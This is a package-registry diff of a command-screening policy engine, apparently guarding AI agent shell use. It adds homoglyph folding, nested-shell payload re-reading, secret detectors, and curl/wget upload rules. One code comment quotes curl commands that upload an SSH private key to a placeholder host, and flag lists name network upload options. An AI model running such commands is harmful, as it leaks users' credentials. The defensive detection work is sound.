@node9/proxy 2.35.0 → 2.36.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +3 -2
- package/dist/cli.js +3211 -2004
- package/dist/cli.mjs +3152 -1945
- package/dist/dashboard.mjs +421 -90
- package/dist/index.js +1677 -583
- package/dist/index.mjs +1677 -583
- package/dist/scan-ink.mjs +290 -77
- package/package.json +1 -1
package/dist/dashboard.mjs
CHANGED
|
@@ -415,6 +415,9 @@ function resolveCheckMap(settings) {
|
|
|
415
415
|
for (const c of CHECKS) out[c.id] = checkValue(settings, c.id);
|
|
416
416
|
return out;
|
|
417
417
|
}
|
|
418
|
+
function foldHomoglyphs(text) {
|
|
419
|
+
return text.normalize("NFKC").replace(HOMOGLYPH_RE, (c) => HOMOGLYPHS[c] ?? c);
|
|
420
|
+
}
|
|
418
421
|
function isCatHeredocOrLit(part) {
|
|
419
422
|
if (!part) return false;
|
|
420
423
|
const t = syntax.NodeType(part);
|
|
@@ -485,14 +488,78 @@ function normalizeCommandForPolicy(command) {
|
|
|
485
488
|
}
|
|
486
489
|
function commandReadings(command) {
|
|
487
490
|
const r = commandReadingsImpl(command);
|
|
488
|
-
|
|
491
|
+
const out = /* @__PURE__ */ new Set([r.posix, r.separator, r.folded]);
|
|
492
|
+
for (const payload of literalPayloadsOf(r.posix, 0)) {
|
|
493
|
+
for (const reading of commandReadings(payload)) out.add(reading);
|
|
494
|
+
}
|
|
495
|
+
return [...out];
|
|
496
|
+
}
|
|
497
|
+
function literalPayloadsOf(command, depth) {
|
|
498
|
+
if (depth > 0 || !/\b(?:sh|bash|zsh|dash|ksh|eval)\b/.test(command)) return [];
|
|
499
|
+
const f = parseShared(command);
|
|
500
|
+
if (f === PARSE_FAIL) return [];
|
|
501
|
+
const out = [];
|
|
502
|
+
try {
|
|
503
|
+
syntax.Walk(f, (node) => {
|
|
504
|
+
if (!node || out.length >= MAX_READING_PAYLOADS) return false;
|
|
505
|
+
const n = node;
|
|
506
|
+
if (syntax.NodeType(n) !== "CallExpr") return true;
|
|
507
|
+
const words = (n.Args || []).map((a) => resolveWordLiteral(a));
|
|
508
|
+
if (words.length === 0) return true;
|
|
509
|
+
const payload = literalShellPayload(words, baseWord(words[0]));
|
|
510
|
+
if (payload !== null && payload !== command) out.push(payload);
|
|
511
|
+
return true;
|
|
512
|
+
});
|
|
513
|
+
} catch {
|
|
514
|
+
return out;
|
|
515
|
+
}
|
|
516
|
+
return out;
|
|
517
|
+
}
|
|
518
|
+
function foldCommandWords(reading) {
|
|
519
|
+
if (!/[^\x00-\x7f]/.test(reading)) return reading;
|
|
520
|
+
const f = parseShared(reading);
|
|
521
|
+
if (f === PARSE_FAIL) return reading;
|
|
522
|
+
const toCharIndex = byteOffsetToCharIndex(reading);
|
|
523
|
+
const at = (byteOffset) => toCharIndex === null ? byteOffset : toCharIndex(byteOffset);
|
|
524
|
+
const edits = [];
|
|
525
|
+
try {
|
|
526
|
+
syntax.Walk(f, (node) => {
|
|
527
|
+
if (!node) return false;
|
|
528
|
+
const n = node;
|
|
529
|
+
if (syntax.NodeType(n) !== "CallExpr") return true;
|
|
530
|
+
const args = n.Args || [];
|
|
531
|
+
const words = args.map((a) => resolveWordLiteral(a));
|
|
532
|
+
const folded = words.map((w) => w === null ? null : foldHomoglyphs(w));
|
|
533
|
+
const head = unwrapCommandHead(folded);
|
|
534
|
+
for (let i = 0; i <= head && i < args.length; i++) {
|
|
535
|
+
const parts = args[i].Parts || [];
|
|
536
|
+
if (parts.length !== 1 || syntax.NodeType(parts[0]) !== "Lit") continue;
|
|
537
|
+
const value = parts[0].Value ?? "";
|
|
538
|
+
const word = folded[i];
|
|
539
|
+
if (word === null || word === value || !/[^\x00-\x7f]/.test(value)) continue;
|
|
540
|
+
if (!/^[A-Za-z0-9._/-]+$/.test(word)) continue;
|
|
541
|
+
const s = at(args[i].Pos().Offset());
|
|
542
|
+
const e = at(args[i].End().Offset());
|
|
543
|
+
if (s < 0 || e < 0) continue;
|
|
544
|
+
edits.push([s, e, word]);
|
|
545
|
+
}
|
|
546
|
+
return true;
|
|
547
|
+
});
|
|
548
|
+
} catch {
|
|
549
|
+
return reading;
|
|
550
|
+
}
|
|
551
|
+
if (edits.length === 0) return reading;
|
|
552
|
+
edits.sort((a, b) => b[0] - a[0]);
|
|
553
|
+
let out = reading;
|
|
554
|
+
for (const [s, e, rep] of edits) out = out.slice(0, s) + rep + out.slice(e);
|
|
555
|
+
return out;
|
|
489
556
|
}
|
|
490
557
|
function commandReadingsImpl(command) {
|
|
491
558
|
return cachedNormalize(command, () => normalizeCommandForPolicyImpl(command));
|
|
492
559
|
}
|
|
493
560
|
function normalizeCommandForPolicyImpl(command) {
|
|
494
561
|
const f = parseShared(command);
|
|
495
|
-
if (f === PARSE_FAIL) return { posix: command, separator: command };
|
|
562
|
+
if (f === PARSE_FAIL) return { posix: command, separator: command, folded: command };
|
|
496
563
|
try {
|
|
497
564
|
const toCharIndex = byteOffsetToCharIndex(command);
|
|
498
565
|
const at = (byteOffset) => toCharIndex === null ? byteOffset : toCharIndex(byteOffset);
|
|
@@ -560,9 +627,10 @@ function normalizeCommandForPolicyImpl(command) {
|
|
|
560
627
|
for (const [s, e, rep] of edits) out = out.slice(0, s) + rep + out.slice(e);
|
|
561
628
|
return out;
|
|
562
629
|
};
|
|
563
|
-
|
|
630
|
+
const posix = apply(rewrites);
|
|
631
|
+
return { posix, separator: apply(quoteOnlyRewrites), folded: foldCommandWords(posix) };
|
|
564
632
|
} catch {
|
|
565
|
-
return { posix: command, separator: command };
|
|
633
|
+
return { posix: command, separator: command, folded: command };
|
|
566
634
|
}
|
|
567
635
|
}
|
|
568
636
|
function scanArgsForDynamicExec(args, startIdx) {
|
|
@@ -723,6 +791,13 @@ function shellConsumesPipe(args) {
|
|
|
723
791
|
}
|
|
724
792
|
return true;
|
|
725
793
|
}
|
|
794
|
+
function curlSourceOperand(flag, value) {
|
|
795
|
+
const file = (f) => f && f !== "-" && f !== "." ? f : null;
|
|
796
|
+
if (flag === "-T" || flag === "--upload-file") return file(value);
|
|
797
|
+
if (flag === "--data-urlencode") return file(/^[^=@]*@(.+)$/.exec(value)?.[1]);
|
|
798
|
+
if (flag === "-F" || flag === "--form") return file(/^[^=]*=[@<]([^;]+)/.exec(value)?.[1]);
|
|
799
|
+
return value.startsWith("@") ? file(value.slice(1)) : null;
|
|
800
|
+
}
|
|
726
801
|
function toolMatchesRule(toolName, ruleTool, toolInspection) {
|
|
727
802
|
if (!ruleTool) return true;
|
|
728
803
|
if (matchesPattern(toolName, ruleTool)) return true;
|
|
@@ -853,12 +928,18 @@ function positionedArgs(words, from = 1, to = words.length) {
|
|
|
853
928
|
function extractLiteralArgs(callExpr) {
|
|
854
929
|
const rawArgs = callExpr.Args || [];
|
|
855
930
|
if (rawArgs.length === 0) return { name: "", flags: [], paths: [], words: [], args: [] };
|
|
856
|
-
const words = rawArgs.map((a) => resolveWordLiteral(a));
|
|
931
|
+
const words = rawArgs.map((a) => windowsDrivePathSpelling(a) ?? resolveWordLiteral(a));
|
|
857
932
|
const name = baseWord(words[0]);
|
|
858
933
|
const flags = words.slice(1).filter((w) => w !== null && w.startsWith("-"));
|
|
859
934
|
const args = positionedArgs(words);
|
|
860
935
|
return { name, flags, paths: args.map((a) => a.value), words, args };
|
|
861
936
|
}
|
|
937
|
+
function windowsDrivePathSpelling(word) {
|
|
938
|
+
const parts = word?.Parts || [];
|
|
939
|
+
if (parts.length === 0 || !parts.every((p) => syntax.NodeType(p) === "Lit")) return null;
|
|
940
|
+
const raw = parts.map((p) => p.Value ?? "").join("");
|
|
941
|
+
return /^[A-Za-z]:\\[^\s'"$`]*$/.test(raw) ? raw : null;
|
|
942
|
+
}
|
|
862
943
|
function payloadKey(payload) {
|
|
863
944
|
if (!assignmentTable || assignmentTable.size === 0) return payload;
|
|
864
945
|
const bindings = [];
|
|
@@ -1319,8 +1400,11 @@ function copySourcePaths(words) {
|
|
|
1319
1400
|
const out = [];
|
|
1320
1401
|
for (const action of findActions(words, fi)) {
|
|
1321
1402
|
const h2 = unwrapCommandHead(action);
|
|
1322
|
-
|
|
1323
|
-
|
|
1403
|
+
const shape2 = resolveCopyShape(action, h2);
|
|
1404
|
+
if (!shape2) continue;
|
|
1405
|
+
const inner = copySourcePaths(action);
|
|
1406
|
+
const startsCopied = shape2.shape.source !== "flagOperand" || inner.some((p) => p.includes("{}"));
|
|
1407
|
+
out.push(...startsCopied ? starts : [], ...inner);
|
|
1324
1408
|
}
|
|
1325
1409
|
return out;
|
|
1326
1410
|
}
|
|
@@ -1376,11 +1460,24 @@ function copySourcePaths(words) {
|
|
|
1376
1460
|
);
|
|
1377
1461
|
return f.letter !== null && names.includes(f.letter);
|
|
1378
1462
|
};
|
|
1379
|
-
const
|
|
1463
|
+
const sourceFlagName = (w) => {
|
|
1464
|
+
const names = shape.sourceFlags ?? [];
|
|
1465
|
+
if (w.startsWith("--")) {
|
|
1466
|
+
const name = w.includes("=") ? w.slice(0, w.indexOf("=")) : w;
|
|
1467
|
+
return names.find(
|
|
1468
|
+
(n) => n.startsWith("--") && (n === name || name.length >= 3 && n.startsWith(name))
|
|
1469
|
+
) ?? name;
|
|
1470
|
+
}
|
|
1471
|
+
const letters = w.slice(1);
|
|
1472
|
+
const owner = letters.split("").find((c) => (shape.valueLetters ?? names).includes(c));
|
|
1473
|
+
return `-${owner ?? letters[letters.length - 1]}`;
|
|
1474
|
+
};
|
|
1475
|
+
const operandFile = (flag, value) => shape.sourceOperand ? shape.sourceOperand(flag, value) : value;
|
|
1476
|
+
const inline = tail.filter((w) => w !== null && w.startsWith("-")).map((w) => flagInfo(w)).filter((f) => f.attached !== null && namesSource(f)).map((f) => operandFile(f.long ?? sourceFlagName(`-${f.letter}`), f.attached));
|
|
1380
1477
|
return [
|
|
1381
|
-
...args.filter((a) => !copyPastOptions(a) && operandOf(a, shape.sourceFlags, shape.valueLetters)).map((a) => a.value),
|
|
1478
|
+
...args.filter((a) => !copyPastOptions(a) && operandOf(a, shape.sourceFlags, shape.valueLetters)).map((a) => operandFile(sourceFlagName(a.afterFlag), a.value)),
|
|
1382
1479
|
...inline
|
|
1383
|
-
];
|
|
1480
|
+
].filter((p) => p !== null);
|
|
1384
1481
|
}
|
|
1385
1482
|
case "archive":
|
|
1386
1483
|
src = archiveInputs(shape.archive, args, tail);
|
|
@@ -1865,6 +1962,8 @@ function validateIban(raw) {
|
|
|
1865
1962
|
if (want === void 0 || s.length < want) return false;
|
|
1866
1963
|
const iban = s.slice(0, want);
|
|
1867
1964
|
if (!/^[A-Z0-9]+$/.test(iban)) return false;
|
|
1965
|
+
const shape = IBAN_BBAN_SHAPE[iban.slice(0, 2)];
|
|
1966
|
+
if (shape && !shape.test(iban.slice(4))) return false;
|
|
1868
1967
|
const rearranged = iban.slice(4) + iban.slice(0, 4);
|
|
1869
1968
|
let mod = 0;
|
|
1870
1969
|
for (const ch of rearranged) {
|
|
@@ -2048,7 +2147,41 @@ function validateAssignedSecret(raw, before = "") {
|
|
|
2048
2147
|
if (ARN_CONTEXT_RE.test(before)) return false;
|
|
2049
2148
|
const prefix = (before.match(/[A-Za-z0-9_]*$/)?.[0] ?? "") + (raw.startsWith("_") ? "_" : "");
|
|
2050
2149
|
if (!nameHoldsCredential(prefix + name)) return false;
|
|
2051
|
-
|
|
2150
|
+
if (isOtpDocSecret(value)) return false;
|
|
2151
|
+
const mixed = /[0-9]/.test(value) && /[A-Za-z]/.test(value);
|
|
2152
|
+
return looksGenerated(value, 12, mixed ? 3 : 3.5);
|
|
2153
|
+
}
|
|
2154
|
+
function validateCipherKeyLiteral(raw) {
|
|
2155
|
+
const name = capturedValue(raw, CIPHER_KEY_NAME_RE);
|
|
2156
|
+
const value = capturedValue(raw, CIPHER_KEY_VALUE_RE);
|
|
2157
|
+
if (name === null || value === null) return false;
|
|
2158
|
+
if (/pub/i.test(name) || !nameHoldsCredential(name)) return false;
|
|
2159
|
+
const parts = name.replace(/([a-z0-9])([A-Z])/g, "$1_$2").toLowerCase().split(/[_.-]+/);
|
|
2160
|
+
if (!parts.some((p) => CIPHER_NAME_PARTS.has(p))) return false;
|
|
2161
|
+
if (!/[a-z]/.test(value) || !/[A-Z]/.test(value) || !/[0-9]/.test(value)) return false;
|
|
2162
|
+
const bytes = Buffer.from(value, "base64");
|
|
2163
|
+
return bytes.length === 16 && bytes.toString("base64") === value;
|
|
2164
|
+
}
|
|
2165
|
+
function validateLaravelAppKey(raw) {
|
|
2166
|
+
const value = capturedValue(raw, LARAVEL_KEY_VALUE_RE);
|
|
2167
|
+
if (value === null) return false;
|
|
2168
|
+
const bytes = Buffer.from(value, "base64");
|
|
2169
|
+
return bytes.length === 32 && bytes.toString("base64") === value && shannonEntropy(value) >= 3;
|
|
2170
|
+
}
|
|
2171
|
+
function validateSqlPassword(raw) {
|
|
2172
|
+
const value = capturedValue(raw, SQL_PASSWORD_VALUE_RE);
|
|
2173
|
+
if (value === null) return false;
|
|
2174
|
+
const lower2 = value.toLowerCase();
|
|
2175
|
+
if (DLP_STOPWORDS.some((sw) => lower2.includes(sw)) || REFERENCE_VALUE_RE.test(value))
|
|
2176
|
+
return false;
|
|
2177
|
+
if (/^[a-z]+$/i.test(value) && value.length < 12) return false;
|
|
2178
|
+
return shannonEntropy(value) >= 2.5 && !hasSequentialRun(value);
|
|
2179
|
+
}
|
|
2180
|
+
function validateGrafanaApiKey(raw) {
|
|
2181
|
+
const value = capturedValue(raw, GRAFANA_KEY_VALUE_RE);
|
|
2182
|
+
if (value === null) return false;
|
|
2183
|
+
const text = Buffer.from(value, "base64").toString("utf8");
|
|
2184
|
+
return /^\{"k":"[A-Za-z0-9]{16,}"/.test(text);
|
|
2052
2185
|
}
|
|
2053
2186
|
function validateBasicCredential(raw) {
|
|
2054
2187
|
const b64 = capturedValue(raw, BASIC_VALUE_RE);
|
|
@@ -2071,6 +2204,13 @@ function validateBasicCredential(raw) {
|
|
|
2071
2204
|
if (DLP_STOPWORDS.some((sw) => lower2.includes(sw)) || hasSequentialRun(password)) return false;
|
|
2072
2205
|
return shannonEntropy(password) >= 3;
|
|
2073
2206
|
}
|
|
2207
|
+
function validateDbConnectionString(raw) {
|
|
2208
|
+
const password = capturedValue(raw, DB_URL_PASSWORD_RE);
|
|
2209
|
+
if (password === null) return false;
|
|
2210
|
+
const lower2 = password.toLowerCase();
|
|
2211
|
+
if (DLP_STOPWORDS.some((sw) => lower2.includes(sw))) return false;
|
|
2212
|
+
return shannonEntropy(raw) >= 3;
|
|
2213
|
+
}
|
|
2074
2214
|
function validateOtpSecret(raw) {
|
|
2075
2215
|
const secret = capturedValue(raw, OTP_CAPTURE_RE);
|
|
2076
2216
|
if (secret === null || isOtpDocSecret(secret)) return false;
|
|
@@ -2551,7 +2691,7 @@ function matchCanaryArgs(args, values) {
|
|
|
2551
2691
|
return null;
|
|
2552
2692
|
}
|
|
2553
2693
|
}
|
|
2554
|
-
var aws_default, bash_safe_default, docker_default, filesystem_default, github_default, k8s_default, mongodb_default, postgres_default, project_jail_default, redis_default, BUILTIN_SHIELDS, SSRF_MAX_HOST, METADATA_ADDRESSES, METADATA_HOSTNAMES, v4Octets, CHECK_TEXT, VERDICTS, CHECK_VERDICT_RANK, ALL, BUILTIN_DANGEROUS_WORDS, PRODUCT_CHECKS, SHIELD_RULE_NAME, SHIELD_RULES_FOLDED_INTO_PRODUCT, CHECKS, CHECK_BY_ID, LEGACY_TO_ID, LEGACY_READERS, syntax, sharedParser, MESSAGE_FLAGS, SHELL_INTERPRETERS, DOWNLOAD_CMDS, NORMALIZE_CACHE_MAX, normalizeCache, AST_CACHE_MAX, astCache, PARSE_FAIL, defaultExpansionOps, VARIABLE_READERS, FS_READ_TOOLS, GREP_SHAPE, PATTERN_VERBS, PATTERN_VERB_NAMES, GREP_FILE_OPERANDS, READER_VALUE_LETTERS, FILE_OPERAND_FLAGS, SCP_VALUE_FLAGS, TAR_VALUE_LETTERS, ZIP_VALUE_LETTERS, RSYNC_VALUE_LETTERS, RSYNC_SKIP, CP_VALUE_LETTERS, INSTALL_VALUE_LETTERS, COPY_VERBS, TAR_MODE_WORD, COPY_VERB_HEADS, FS_OP_PRESCREEN_RE, HOME_CACHE_ALLOWLIST, SENSITIVE_PATH_RULES, AST_FS_REGEX_RULES, COMMAND_WRAPPERS, INLINE_INTERPRETER, RUNNER_WRAPPERS, _listOps, WRAPPER_TAKES_TARGET, FIND_EXEC_FLAGS, FS_MUTATION_TOOLS, HOME_VARIABLES, assignmentTable, currentStmtOffset, PAYLOAD_BUDGET, payloadBudget, seenPayloads, UNANALYSABLE_NESTING, ASSIGNMENT_HEADS, AND_OP, OR_OP, AND_OR_OPS, MAX_CALL_DEPTH, MAX_CALL_WALKS, callDepth, callWalks, FS_OP_CACHE_MAX, fsOpCache, REDIR_TRUNCATE_OPS, REDIR_FILE_IN_OPS, REDIR_HEREDOC_OPS, FIND_OPTIONS, COPY_RULE_OF, isReaderWord, positionalAfter, NONE, UNKNOWN, MAX_REGEX_LENGTH, REGEX_CACHE_MAX, regexCache, FORBIDDEN_PATH_SEGMENTS, BASH_TOOL_NAMES, MCP_EXECUTORS, BUILTIN_FIELDS, ARGV_FIELDS, BARE_WORD, MAX_ARGV_CHARACTERS, syntax2, WRITES, READS, DUP_OUT, HERE_STRING, AND, OR, DEFAULT_OPS, SYSTEM_DIRS, UPLOAD_SYSTEM_DIRS, LEGACY_SYSTEM_PATH_RE, BIP39_ENGLISH, indices, IBAN_LENGTH, B58, B58_INDEX, XPRV_VERSIONS, B62, CRC32_TABLE, GITHUB_TOKEN_RE, B64URL, B64URL_INDEX, CASK_TWO_ZERO_SUFFIX, CASK_FOUR_ZERO_SUFFIX,
|
|
2694
|
+
var aws_default, bash_safe_default, docker_default, filesystem_default, github_default, k8s_default, mongodb_default, postgres_default, project_jail_default, redis_default, BUILTIN_SHIELDS, SSRF_MAX_HOST, METADATA_ADDRESSES, METADATA_HOSTNAMES, v4Octets, CHECK_TEXT, VERDICTS, CHECK_VERDICT_RANK, ALL, BUILTIN_DANGEROUS_WORDS, PRODUCT_CHECKS, SHIELD_RULE_NAME, SHIELD_RULES_FOLDED_INTO_PRODUCT, CHECKS, CHECK_BY_ID, LEGACY_TO_ID, LEGACY_READERS, INVISIBLE_RE, INVISIBLE_ONE, HOMOGLYPHS, HOMOGLYPH_RE, syntax, sharedParser, MESSAGE_FLAGS, SHELL_INTERPRETERS, DOWNLOAD_CMDS, NORMALIZE_CACHE_MAX, normalizeCache, AST_CACHE_MAX, astCache, PARSE_FAIL, MAX_READING_PAYLOADS, defaultExpansionOps, VARIABLE_READERS, FS_READ_TOOLS, GREP_SHAPE, PATTERN_VERBS, PATTERN_VERB_NAMES, GREP_FILE_OPERANDS, READER_VALUE_LETTERS, FILE_OPERAND_FLAGS, SCP_VALUE_FLAGS, CURL_SOURCE_FLAGS, CURL_VALUE_LETTERS, WGET_VALUE_LETTERS, TAR_VALUE_LETTERS, ZIP_VALUE_LETTERS, RSYNC_VALUE_LETTERS, RSYNC_SKIP, CP_VALUE_LETTERS, INSTALL_VALUE_LETTERS, COPY_VERBS, TAR_MODE_WORD, COPY_VERB_HEADS, FS_OP_PRESCREEN_RE, HOME_CACHE_ALLOWLIST, SENSITIVE_PATH_RULES, AST_FS_REGEX_RULES, COMMAND_WRAPPERS, INLINE_INTERPRETER, RUNNER_WRAPPERS, _listOps, WRAPPER_TAKES_TARGET, FIND_EXEC_FLAGS, FS_MUTATION_TOOLS, HOME_VARIABLES, assignmentTable, currentStmtOffset, PAYLOAD_BUDGET, payloadBudget, seenPayloads, UNANALYSABLE_NESTING, ASSIGNMENT_HEADS, AND_OP, OR_OP, AND_OR_OPS, MAX_CALL_DEPTH, MAX_CALL_WALKS, callDepth, callWalks, FS_OP_CACHE_MAX, fsOpCache, REDIR_TRUNCATE_OPS, REDIR_FILE_IN_OPS, REDIR_HEREDOC_OPS, FIND_OPTIONS, COPY_RULE_OF, isReaderWord, positionalAfter, NONE, UNKNOWN, MAX_REGEX_LENGTH, REGEX_CACHE_MAX, regexCache, FORBIDDEN_PATH_SEGMENTS, BASH_TOOL_NAMES, MCP_EXECUTORS, BUILTIN_FIELDS, ARGV_FIELDS, BARE_WORD, MAX_ARGV_CHARACTERS, syntax2, WRITES, READS, DUP_OUT, HERE_STRING, AND, OR, DEFAULT_OPS, SYSTEM_DIRS, UPLOAD_SYSTEM_DIRS, LEGACY_SYSTEM_PATH_RE, BIP39_ENGLISH, indices, IBAN_LENGTH, IBAN_BBAN_SHAPE, B58, B58_INDEX, XPRV_VERSIONS, B62, CRC32_TABLE, GITHUB_TOKEN_RE, B64URL, B64URL_INDEX, CASK_TWO_ZERO_SUFFIX, CASK_FOUR_ZERO_SUFFIX, CF_ODD, CF_EVEN, ASSIGNMENT_CONTEXT_RE, DLP_STOPWORDS, REFERENCE_VALUE_RE, IDENTIFIER_VALUE_RE, PATH_VALUE_RE, DOTTED_REFERENCE_RE, CONCATENATION_RE, EMAIL_VALUE_RE, FIXTURE_NAME_RE, DERIVATIVE_NAME_RE, QUERY_CREDENTIAL_VALUE_RE, OTP_SECRET_RE, OTP_DOC_SECRETS, ASSIGNED_SECRET_VALUE_RE, ASSIGNED_SECRET_NAME_RE, NAME_KEYWORD_RE, ARN_CONTEXT_RE, CIPHER_KEY_NAME_RE, CIPHER_NAME_PARTS, CIPHER_KEY_VALUE_RE, LARAVEL_KEY_VALUE_RE, SQL_PASSWORD_VALUE_RE, GRAFANA_KEY_VALUE_RE, BASIC_VALUE_RE, BASIC_PAIR_RE, OTP_CAPTURE_RE, DB_URL_PASSWORD_RE, DLP_PATTERNS, DLP_PATTERNS_GLOBAL, SENSITIVE_PATH_PATTERNS, SENSITIVE_PATH_REGEXES, MAX_DEPTH2, MAX_STRING_BYTES, MAX_JSON_PARSE_BYTES, syntax3, EDITOR_HEADS, MANAGER_HEADS, TUNING_FIELDS, MAP_GOVERNED, KNOB_GOVERNED, CONFIGURABLE_CHECK_IDS, SOURCE_COMMANDS, MAX_DESTINATIONS, MAX_SCAN_CHARS, EMAIL_RE, URL_RE, IBAN_RE, RECIPIENT_KEYS, MASKED_KINDS, ENTRY_RE, syntax4, PUBLISH, OWN_HEADS, TERMINAL_ESCAPE_RE, CANARY_MIN_LENGTH, MAX_TEXT, MAX_DEPTH4, MAX_JSON_PARSE, URL_DEPTH, B64_DEPTH, MIN_SEGMENT, SEPARATORS, stripSeparators, looksText, CANARY_DECODERS, VIEWS, LONG_OUTPUT_THRESHOLD_BYTES;
|
|
2555
2695
|
var init_dist = __esm({
|
|
2556
2696
|
"packages/policy-engine/dist/index.mjs"() {
|
|
2557
2697
|
"use strict";
|
|
@@ -4004,6 +4144,75 @@ var init_dist = __esm({
|
|
|
4004
4144
|
return s.untrustedContent.afterExposure === "log-only" ? "log" : "review";
|
|
4005
4145
|
}
|
|
4006
4146
|
};
|
|
4147
|
+
INVISIBLE_RE = /[͏----︀-️]|[\u{E0000}-\u{E007F}]/gu;
|
|
4148
|
+
INVISIBLE_ONE = new RegExp(`^(?:${INVISIBLE_RE.source.split("|")[0]})$`, "u");
|
|
4149
|
+
HOMOGLYPHS = {
|
|
4150
|
+
// Cyrillic lowercase
|
|
4151
|
+
\u0430: "a",
|
|
4152
|
+
\u0435: "e",
|
|
4153
|
+
\u043E: "o",
|
|
4154
|
+
\u0440: "p",
|
|
4155
|
+
\u0441: "c",
|
|
4156
|
+
\u0443: "y",
|
|
4157
|
+
\u0445: "x",
|
|
4158
|
+
\u0456: "i",
|
|
4159
|
+
\u0458: "j",
|
|
4160
|
+
\u0455: "s",
|
|
4161
|
+
"\u0501": "d",
|
|
4162
|
+
"\u051B": "q",
|
|
4163
|
+
"\u051D": "w",
|
|
4164
|
+
\u04BB: "h",
|
|
4165
|
+
\u0261: "g",
|
|
4166
|
+
\u0451: "e",
|
|
4167
|
+
"\u04CF": "l",
|
|
4168
|
+
"\u217C": "l",
|
|
4169
|
+
// Cyrillic uppercase
|
|
4170
|
+
\u0410: "A",
|
|
4171
|
+
\u0412: "B",
|
|
4172
|
+
\u0415: "E",
|
|
4173
|
+
\u041A: "K",
|
|
4174
|
+
\u041C: "M",
|
|
4175
|
+
\u041D: "H",
|
|
4176
|
+
\u041E: "O",
|
|
4177
|
+
\u0420: "P",
|
|
4178
|
+
\u0421: "C",
|
|
4179
|
+
\u0422: "T",
|
|
4180
|
+
\u0425: "X",
|
|
4181
|
+
\u0405: "S",
|
|
4182
|
+
\u0406: "I",
|
|
4183
|
+
\u0408: "J",
|
|
4184
|
+
\u04AE: "Y",
|
|
4185
|
+
"\u051A": "Q",
|
|
4186
|
+
"\u051C": "W",
|
|
4187
|
+
// Greek lowercase
|
|
4188
|
+
\u03B1: "a",
|
|
4189
|
+
\u03BF: "o",
|
|
4190
|
+
\u03BD: "v",
|
|
4191
|
+
\u03B5: "e",
|
|
4192
|
+
\u03B9: "i",
|
|
4193
|
+
\u03BA: "k",
|
|
4194
|
+
\u03C1: "p",
|
|
4195
|
+
\u03C4: "t",
|
|
4196
|
+
\u03C5: "u",
|
|
4197
|
+
\u03C7: "x",
|
|
4198
|
+
\u03B3: "y",
|
|
4199
|
+
// Greek uppercase
|
|
4200
|
+
\u0391: "A",
|
|
4201
|
+
\u0392: "B",
|
|
4202
|
+
\u0395: "E",
|
|
4203
|
+
\u0396: "Z",
|
|
4204
|
+
\u0397: "H",
|
|
4205
|
+
\u0399: "I",
|
|
4206
|
+
\u039A: "K",
|
|
4207
|
+
\u039C: "M",
|
|
4208
|
+
\u039D: "N",
|
|
4209
|
+
\u039F: "O",
|
|
4210
|
+
\u03A1: "P",
|
|
4211
|
+
\u03A4: "T",
|
|
4212
|
+
\u03A5: "Y",
|
|
4213
|
+
\u03A7: "X"
|
|
4214
|
+
};
|
|
4215
|
+
HOMOGLYPH_RE = new RegExp(`[${Object.keys(HOMOGLYPHS).join("")}]`, "g");
|
|
4007
4216
|
({ syntax } = mvdanSh);
|
|
4008
4217
|
sharedParser = syntax.NewParser();
|
|
4009
4218
|
MESSAGE_FLAGS = /* @__PURE__ */ new Set([
|
|
@@ -4041,6 +4250,7 @@ var init_dist = __esm({
|
|
|
4041
4250
|
AST_CACHE_MAX = 5e3;
|
|
4042
4251
|
astCache = /* @__PURE__ */ new Map();
|
|
4043
4252
|
PARSE_FAIL = /* @__PURE__ */ Symbol("parse-fail");
|
|
4253
|
+
MAX_READING_PAYLOADS = 8;
|
|
4044
4254
|
defaultExpansionOps = null;
|
|
4045
4255
|
VARIABLE_READERS = /* @__PURE__ */ new Set([
|
|
4046
4256
|
"read",
|
|
@@ -4447,6 +4657,20 @@ var init_dist = __esm({
|
|
|
4447
4657
|
sort: /* @__PURE__ */ new Set(["--files0-from"])
|
|
4448
4658
|
};
|
|
4449
4659
|
SCP_VALUE_FLAGS = ["i", "F", "o", "c", "S", "P", "J", "D", "W", "l"];
|
|
4660
|
+
CURL_SOURCE_FLAGS = [
|
|
4661
|
+
"T",
|
|
4662
|
+
"--upload-file",
|
|
4663
|
+
"d",
|
|
4664
|
+
"--data",
|
|
4665
|
+
"--data-binary",
|
|
4666
|
+
"--data-ascii",
|
|
4667
|
+
"--data-urlencode",
|
|
4668
|
+
"--json",
|
|
4669
|
+
"F",
|
|
4670
|
+
"--form"
|
|
4671
|
+
];
|
|
4672
|
+
CURL_VALUE_LETTERS = "dFTHouXAebcKEmwxUrQtCPDyYz".split("");
|
|
4673
|
+
WGET_VALUE_LETTERS = "OoaiBtTwQPeUARDIl".split("");
|
|
4450
4674
|
TAR_VALUE_LETTERS = ["b", "C", "f", "F", "g", "H", "I", "K", "L", "N", "T", "V", "X"];
|
|
4451
4675
|
ZIP_VALUE_LETTERS = ["b", "n", "P", "t", "s", "O", "x", "i"];
|
|
4452
4676
|
RSYNC_VALUE_LETTERS = ["e", "f", "T", "B", "M"];
|
|
@@ -4503,7 +4727,25 @@ var init_dist = __esm({
|
|
|
4503
4727
|
"aws s3 mv": { source: "allButLast" },
|
|
4504
4728
|
"aws s3 sync": { source: "allButLast" },
|
|
4505
4729
|
"gcloud storage cp": { source: "allButLast" },
|
|
4506
|
-
"az storage blob upload": { source: "flagOperand", sourceFlags: ["f", "--file"] }
|
|
4730
|
+
"az storage blob upload": { source: "flagOperand", sourceFlags: ["f", "--file"] },
|
|
4731
|
+
// An HTTP upload is a copy out of the jail with the network as its
|
|
4732
|
+
// destination (fw#372 A2). Measured at the real gate before this row:
|
|
4733
|
+
// `curl -T ~/.ssh/id_rsa https://x/` and `curl -d @~/.ssh/id_rsa https://x/`
|
|
4734
|
+
// were ALLOWED in the shipped default (egress off, no taint on the file),
|
|
4735
|
+
// while `cp ~/.ssh/id_rsa /tmp/k` reviewed. The same slot model as the other
|
|
4736
|
+
// flagOperand verb; the read tier never saw curl because it prints nothing.
|
|
4737
|
+
// `--key`/`--cert` USE a file for TLS, like `ssh -i`, and stay quiet.
|
|
4738
|
+
curl: {
|
|
4739
|
+
source: "flagOperand",
|
|
4740
|
+
sourceFlags: CURL_SOURCE_FLAGS,
|
|
4741
|
+
sourceOperand: curlSourceOperand,
|
|
4742
|
+
valueLetters: CURL_VALUE_LETTERS
|
|
4743
|
+
},
|
|
4744
|
+
wget: {
|
|
4745
|
+
source: "flagOperand",
|
|
4746
|
+
sourceFlags: ["--post-file", "--body-file"],
|
|
4747
|
+
valueLetters: WGET_VALUE_LETTERS
|
|
4748
|
+
}
|
|
4507
4749
|
};
|
|
4508
4750
|
